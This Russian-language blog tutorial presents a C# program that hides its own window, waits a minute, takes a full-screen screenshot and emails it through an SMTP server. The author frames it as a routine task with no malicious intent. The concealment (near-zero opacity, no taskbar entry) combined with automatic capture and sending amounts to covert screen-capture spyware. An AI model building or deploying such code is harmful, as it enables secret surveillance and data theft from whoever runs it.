На нашем сайте мы используем cookie для сбора информации технического характера и обрабатываем IP-адрес вашего местоположения. Продолжая использовать этот сайт, вы даете согласие на использование файлов cookies. Здесь вы можете узнать, как мы пользуемся файлами cookies.
Я согласен
логотип upread.ru

Создание и отправка скриншота на почту на си шарп


Появилась следующая задача:

Создать программу на си шарп, которая через определенное время после запуска снимает скриншот с экрана и отправляет его на почту.
Решение несложное, код ниже, еще ниже необходимые пояснения к нему.

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Net.Mail;
using System.Net;
using System.Threading;

namespace scrin
{
    public partial class Form1 : Form
    {

        public Form1()
        {
            InitializeComponent();
            this.Opacity = 0.01;
            this.ShowIcon = false;
            this.ShowInTaskbar = false;
            this.WindowState = System.Windows.Forms.FormWindowState.Minimized;
            this.Load += new System.EventHandler(this.Form1_Load);
        }


        public void mov() {
            Bitmap prt = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
            Graphics graphics = Graphics.FromImage(prt as Image);
            graphics.CopyFromScreen(0, 0, 0, 0, prt.Size);
            Random rnd = new Random();
            int sk = rnd.Next(10000);
            prt.Save(@"C:\rab\scr" + sk + ".jpg", System.Drawing.Imaging.ImageFormat.Jpeg);
            SmtpClient Smtp = new SmtpClient("smtp.mail.ru", 25);
            Smtp.Credentials = new NetworkCredential("ваш_ящик@mail.ru", "пароль_от_вашего_ящика");
            MailMessage Message = new MailMessage();
            Message.From = new MailAddress("ваш_ящик@mail.ru");
            Message.To.Add(new MailAddress("ящик_получателя@yandex.ru"));
            Message.Subject = "тема письма";
            Message.Body = "сообщение письма";
            Smtp.EnableSsl = true;
            string file = "C:\\rab\\scr" + sk + ".jpg";
            Attachment attach = new Attachment(file, System.Net.Mime.MediaTypeNames.Application.Octet);
            Message.Attachments.Add(attach);
            try
            {
                Smtp.Send(Message);
            }
            catch (SmtpException)
            {
                MessageBox.Show("Ошибка отправки письма.");
            }                   
        }

        private void Form1_Load(object sender, EventArgs e)
        {
            Thread.Sleep(60000);
            mov();         
            Application.Exit();      
        }
    }
}
Итак, что мы тут имеем? А имеем мы следующее: сначала в конструкторе класса Form1 подготавливаем все для снятия скрина экрана. Далее, в методе Form1_Load, который выполняется после загрузки формы, мы приостанавливаем текущий поток (Thread.Sleep(60000);) на одну минуту. По истечении этой минуты запускается метод mov(), в котором и скриншот снимается и почта отправляется. Рассмотрим этот метод подробнее.

Строки 30-35 - подготовка, создание и сохранение скриншота. В нашей программе скрин сохраняется по адресу "C:\rab\", имя файла scr+случайное число. Случайное имя файла требуется, так как c# может выдавать ошибку при перезаписи уже существующего. Строки 36-54 - создается и отправляется письмо с вложением. Не забываем включить ssl в строке 43. В строке 36 определяется порт, вв данном случае - 25. Если с ним не получается, то можно попробовать 465.

Таким образом, с помощью вышеприведенной программы мы решили поставленную задачу: сняли скришот экрана, подождали и отправили его на почту. Если у вас возникли вопросы по данной программе, требуется помощь по C#, необходимо написать приложение или что-то еще, то вы можете смело написать на почту up777up@yandex.ru - я вам помогу за небольшую плату.



Автор этого материала - я - Пахолков Юрий. Я оказываю услуги по написанию программ на языках Java, C++, C# (а также консультирую по ним) и созданию сайтов. Работаю с сайтами на CMS OpenCart, WordPress, ModX и самописными. Кроме этого, работаю напрямую с JavaScript, PHP, CSS, HTML - то есть могу доработать ваш сайт или помочь с веб-программированием. Пишите сюда.



тегистатьи IT, си шарп, отправка письма





Отправляя сообщение я подтверждаю, что ознакомлен и согласен с политикой конфиденциальности данного сайта.




Как узнать, включен ли телефон. Не звоня и не отправляя смс.
Windows Portable Devices: получаем список папок и файлов на устройстве


© upread.ru 2013-2020
При перепечатке активная ссылка на сайт обязательна.
Задать вопрос
письмо
Здравствуйте! Вы можете задать мне любой вопрос. Если не получается отправить сообщение через эту форму, то пишите на почу up777up@yandex.ru
Отправляя сообщение я подтверждаю, что ознакомлен и согласен с политикой конфиденциальности данного сайта.